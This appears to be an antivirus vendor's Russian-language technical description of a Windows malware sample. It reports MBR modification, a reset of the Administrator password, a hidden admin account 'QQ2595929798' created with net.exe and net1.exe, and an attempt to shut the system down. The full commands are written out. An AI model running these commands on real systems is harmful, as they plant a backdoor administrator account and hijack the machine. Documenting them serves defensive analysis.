Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует главную загрузочную запись (MBR).
Другое
Создает и запускает на исполнение
- '%WINDIR%\syswow64\net.exe' user Administrator user' (со скрытым окном)
- '%WINDIR%\syswow64\net.exe' user QQ2595929798 user /add' (со скрытым окном)
- '%WINDIR%\syswow64\net.exe' localgroup administrators QQ2595929798 /add' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\net.exe' user Administrator user
- '%WINDIR%\syswow64\net.exe' user QQ2595929798 user /add
- '%WINDIR%\syswow64\net.exe' localgroup administrators QQ2595929798 /add
- '%WINDIR%\syswow64\net1.exe' localgroup administrators QQ2595929798 /add
- '%WINDIR%\syswow64\net1.exe' user QQ2595929798 user /add
- '%WINDIR%\syswow64\net1.exe' user Administrator user
Пытается завершить работу операционной системы Windows.
